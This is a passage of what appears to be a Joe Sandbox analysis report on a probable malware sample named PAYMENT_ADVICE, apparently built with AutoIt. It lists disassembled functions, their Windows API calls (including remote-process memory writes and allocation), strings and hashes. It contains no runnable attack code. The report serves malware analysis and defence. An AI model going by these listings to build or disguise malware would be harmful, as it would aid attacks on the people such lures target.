                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: BeepDialogItemKillMessageTextTimerWindow
                                                              • String ID:
                                                              • API String ID: 3741023627-0
                                                              • Opcode ID: b98d067d0e5f44269bbc8bec68de00d54677d0939999d1dca9492153716b29ed
                                                              • Instruction ID: e1288944d4b030b72e4516487e9ec78eab9365ea2e9d62168db653b80c5fafa9
                                                              • Opcode Fuzzy Hash: b98d067d0e5f44269bbc8bec68de00d54677d0939999d1dca9492153716b29ed
                                                              • Instruction Fuzzy Hash: C101A230414308ABEF266B60ED4EF9677BDFB00B06F004669A5C2E14E1DBF0B9549B90
                                                              Function 003413B0 Relevance: 7.5, APIs: 5, Instructions: 29COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • EndPath.GDI32(?), ref: 003413BF
                                                              • StrokeAndFillPath.GDI32(?,?,0037B888,00000000,?), ref: 003413DB
                                                              • SelectObject.GDI32(?,00000000), ref: 003413EE
                                                              • DeleteObject.GDI32 ref: 00341401
                                                              • StrokePath.GDI32(?), ref: 0034141C
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Path$ObjectStroke$DeleteFillSelect
                                                              • String ID:
                                                              • API String ID: 2625713937-0
                                                              • Opcode ID: f6cdc51a23f07ec54f880bcfa7635a89300a0c475115341f62003844a15ece43
                                                              • Instruction ID: 9fa4076c9fb10f4e1b52a0d9d84e3cfff85b1172530a11dc5a91da709528c34b
                                                              • Opcode Fuzzy Hash: f6cdc51a23f07ec54f880bcfa7635a89300a0c475115341f62003844a15ece43
                                                              • Instruction Fuzzy Hash: CCF0FB31000B089FDB126F66ED4CB593BE9E700726F08C234E869981B1C73069A5DF14
                                                              Function 003AC397 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CoInitialize.OLE32(00000000), ref: 003AC432
                                                              • CoCreateInstance.OLE32(003D2D6C,00000000,00000001,003D2BDC,?), ref: 003AC44A
                                                                • Part of subcall function 00347DE1: _memmove.LIBCMT ref: 00347E22
                                                              • CoUninitialize.OLE32 ref: 003AC6B7
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: CreateInitializeInstanceUninitialize_memmove
                                                              • String ID: .lnk
                                                              • API String ID: 2683427295-24824748
                                                              • Opcode ID: 329f26b619709689e1a0f427d7fd0503e8ed7a0302262d77afc260c2e3be857c
                                                              • Instruction ID: 357769e8a84e4e9839a11db91c9ff3d566a57d18de781722cfcb7047cfe0fac6
                                                              • Opcode Fuzzy Hash: 329f26b619709689e1a0f427d7fd0503e8ed7a0302262d77afc260c2e3be857c
                                                              • Instruction Fuzzy Hash: 83A12971104205AFD701EF54C881EAFB7E8EF99354F00492DF1569F1A2EB71EA49CB62
                                                              Function 00352CFB Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00360DB6: std::exception::exception.LIBCMT ref: 00360DEC
                                                                • Part of subcall function 00360DB6: __CxxThrowException@8.LIBCMT ref: 00360E01
                                                                • Part of subcall function 00347DE1: _memmove.LIBCMT ref: 00347E22
                                                                • Part of subcall function 00347A51: _memmove.LIBCMT ref: 00347AAB
                                                              • __swprintf.LIBCMT ref: 00352ECD
                                                              Strings
                                                              • \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00352D66
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
                                                              • String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
                                                              • API String ID: 1943609520-557222456
                                                              • Opcode ID: 4b6ddf16a347d614094c2941f24fa065167c11c3d327a97ccb130b609e70b2bf
                                                              • Instruction ID: 9fb74108f67fe48ff5fd323689e2355bbcd54214f6d79f17cdf8bdbdc81f3c5d
                                                              • Opcode Fuzzy Hash: 4b6ddf16a347d614094c2941f24fa065167c11c3d327a97ccb130b609e70b2bf
                                                              • Instruction Fuzzy Hash: F49137715082019BC716EF24C896D6BB7E8AF96710F01495EF8859F2A2EB20ED48CB52
                                                              Function 003AB93B Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00344750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00344743,?,?,003437AE,?), ref: 00344770
                                                              • CoInitialize.OLE32(00000000), ref: 003AB9BB
                                                              • CoCreateInstance.OLE32(003D2D6C,00000000,00000001,003D2BDC,?), ref: 003AB9D4
                                                              • CoUninitialize.OLE32 ref: 003AB9F1
                                                                • Part of subcall function 00349837: __itow.LIBCMT ref: 00349862
                                                                • Part of subcall function 00349837: __swprintf.LIBCMT ref: 003498AC
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
                                                              • String ID: .lnk
                                                              • API String ID: 2126378814-24824748
                                                              • Opcode ID: 9163b4f61656c1485063c6d12f19631d9190645dce32eb0571cdb823ee5385e9
                                                              • Instruction ID: 9af1facb08da29cf768984507df86c595c14a90b95b608d664bf2702bc5f09bf
                                                              • Opcode Fuzzy Hash: 9163b4f61656c1485063c6d12f19631d9190645dce32eb0571cdb823ee5385e9
                                                              • Instruction Fuzzy Hash: 69A155756043059FCB12DF14C484E6ABBE5FF8A314F058999F89A9B3A2CB31EC45CB91
                                                              Function 0039B2F3 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 241comCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • OleSetContainedObject.OLE32(?,00000001), ref: 0039B4BE
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ContainedObject
                                                              • String ID: AutoIt3GUI$Container$%=
                                                              • API String ID: 3565006973-2852750407
                                                              • Opcode ID: 9a95c1b6abe7ece325bdc11fdaa8073e39cec77ec796aab9e1ed530d6d2909ed
                                                              • Instruction ID: 05fac280d76901f742fcdd069852ba4922257ae77cce5e8387d327a9c8828f88
                                                              • Opcode Fuzzy Hash: 9a95c1b6abe7ece325bdc11fdaa8073e39cec77ec796aab9e1ed530d6d2909ed
                                                              • Instruction Fuzzy Hash: 22915774200601EFDB15DF64D984B6ABBF9FF49710F20856EE94ACB6A1DB70E841CB60
                                                              Function 0036501D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __startOneArgErrorHandling.LIBCMT ref: 003650AD
                                                                • Part of subcall function 003700F0: __87except.LIBCMT ref: 0037012B
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ErrorHandling__87except__start
                                                              • String ID: pow
                                                              • API String ID: 2905807303-2276729525
                                                              • Opcode ID: fa8f18962ab935085d3684ce1af04d4bb42820d595d611c3cf18936c7fb128ec
                                                              • Instruction ID: 048d60513161a8e4605663dbbf9dfd6de1102a2c2d55232b50cc7cbf7ecbf47f
                                                              • Opcode Fuzzy Hash: fa8f18962ab935085d3684ce1af04d4bb42820d595d611c3cf18936c7fb128ec
                                                              • Instruction Fuzzy Hash: D0517B6591C502D6DB2B7724CD4137E2B98AB41700F20CD79E4D98A2AEEF38CDC49A86
                                                              Function 00388584 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 148COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: _memmove
                                                              • String ID: 3c5$_5
                                                              • API String ID: 4104443479-2150917133
                                                              • Opcode ID: 135fc18bc5443ff0cff0ccced5be0ec7fcf5000b80389aacd4c676bdea870b42
                                                              • Instruction ID: c993c63f916bdf8ce276a6c9d3a4a8f4a60fea1256d3a35886465fb5a20c3cad
                                                              • Opcode Fuzzy Hash: 135fc18bc5443ff0cff0ccced5be0ec7fcf5000b80389aacd4c676bdea870b42
                                                              • Instruction Fuzzy Hash: 9651AD709006099FCF26DF68C880AAEB7B5FF44304F608569E85AD7250EB30E995CB51
                                                              Function 003997F5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 003A14BC: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00399296,?,?,00000034,00000800,?,00000034), ref: 003A14E6
                                                              • SendMessageW.USER32(?,00001104,00000000,00000000), ref: 0039983F
                                                                • Part of subcall function 003A1487: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,003992C5,?,?,00000800,?,00001073,00000000,?,?), ref: 003A14B1
                                                                • Part of subcall function 003A13DE: GetWindowThreadProcessId.USER32(?,?), ref: 003A1409
                                                                • Part of subcall function 003A13DE: OpenProcess.KERNEL32(00000438,00000000,?,?,?,0039925A,00000034,?,?,00001004,00000000,00000000), ref: 003A1419
                                                                • Part of subcall function 003A13DE: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,0039925A,00000034,?,?,00001004,00000000,00000000), ref: 003A142F
                                                              • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 003998AC
                                                              • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 003998F9
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
                                                              • String ID: @
                                                              • API String ID: 4150878124-2766056989
                                                              • Opcode ID: d2fc13337426619bca1710fe624c4994cda9a67c55795b32312223bc92803bc8
                                                              • Instruction ID: e0727ad6d318a579a8a551650541454d21c1465e7c9e69be62dca2aec90632bb
                                                              • Opcode Fuzzy Hash: d2fc13337426619bca1710fe624c4994cda9a67c55795b32312223bc92803bc8
                                                              • Instruction Fuzzy Hash: A0412E76901218AFDF11DFA8CC86EDEBBB8EB09300F004199F955B7191DA716E45CBA1
                                                              Function 003C7946 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,003CF910,00000000,?,?,?,?), ref: 003C79DF
                                                              • GetWindowLongW.USER32 ref: 003C79FC
                                                              • SetWindowLongW.USER32(?,000000F0,00000000), ref: 003C7A0C
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Window$Long
                                                              • String ID: SysTreeView32
                                                              • API String ID: 847901565-1698111956
                                                              • Opcode ID: ff1d3f441174bf29a5682464da6e56e44f57cc001294ba8e376789c9fc9e1fbd
                                                              • Instruction ID: cf0e6f66c2f956dea0f157216fd145ebaac05c29e825af3bd25033b0c696cdf3
                                                              • Opcode Fuzzy Hash: ff1d3f441174bf29a5682464da6e56e44f57cc001294ba8e376789c9fc9e1fbd
                                                              • Instruction Fuzzy Hash: 8F319C35204606AFDB129E38CC45FEB7BA9EB05324F218729F875E62E0D731ED519B50
                                                              Function 003C73D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendMessageW.USER32(00000000,00001009,00000000,?), ref: 003C7461
                                                              • SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 003C7475
                                                              • SendMessageW.USER32(?,00001002,00000000,?), ref: 003C7499
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$Window
                                                              • String ID: SysMonthCal32
                                                              • API String ID: 2326795674-1439706946
                                                              • Opcode ID: f9cdbd483152f0302c1bb9995c0680def87d59acc3b6a12a787fba1f1c72ad9d
                                                              • Instruction ID: c268180a559df522a34bdddbe6362ee666e139ffd09c1d0bc62302cb931204e0
                                                              • Opcode Fuzzy Hash: f9cdbd483152f0302c1bb9995c0680def87d59acc3b6a12a787fba1f1c72ad9d
                                                              • Instruction Fuzzy Hash: E621A332500218AFDF168F65CC46FEA3B69EF48724F120118FE15AB1D0DA75AC51DBA0
                                                              Function 003C6CB0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendMessageW.USER32(00000000,00000180,00000000,?), ref: 003C6D3B
                                                              • SendMessageW.USER32(?,00000186,00000000,00000000), ref: 003C6D4B
                                                              • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 003C6D70
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$MoveWindow
                                                              • String ID: Listbox
                                                              • API String ID: 3315199576-2633736733
                                                              • Opcode ID: 37184922ca4cd72b19edfdea8914cf295dbafbca5e26999c65496452e423476c
                                                              • Instruction ID: b170f06ddc95423c9754cf58ddb065428ec7f8f7ccec4c15f6b8c0f9deb630f8
                                                              • Opcode Fuzzy Hash: 37184922ca4cd72b19edfdea8914cf295dbafbca5e26999c65496452e423476c
                                                              • Instruction Fuzzy Hash: 48219232610118BFDF128F54CC46FBB3BBEEF89750F018128F9459B1A0C671AC519BA0
                                                              Function 003B39E9 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 84COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __snwprintf.LIBCMT ref: 003B3A66
                                                                • Part of subcall function 00347DE1: _memmove.LIBCMT ref: 00347E22
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: __snwprintf_memmove
                                                              • String ID: , $$AUTOITCALLVARIABLE%d$%=
                                                              • API String ID: 3506404897-2298458297
                                                              • Opcode ID: 48de918a8a0aee3684cb5313f899970283d9d1772a2ab1232facd94fb34f0654
                                                              • Instruction ID: 9d040fcc65525f7425d5709b134bd8d7b7220fb925453641da65cf8cea58079f
                                                              • Opcode Fuzzy Hash: 48de918a8a0aee3684cb5313f899970283d9d1772a2ab1232facd94fb34f0654
                                                              • Instruction Fuzzy Hash: 59214F31A00229ABCF16EF64CC82AEE77B9EF44704F504455E655AF182DB30EA45CB61
                                                              Function 003C770E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 003C7772
                                                              • SendMessageW.USER32(?,00000406,00000000,00640000), ref: 003C7787
                                                              • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 003C7794
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: MessageSend
                                                              • String ID: msctls_trackbar32
                                                              • API String ID: 3850602802-1010561917
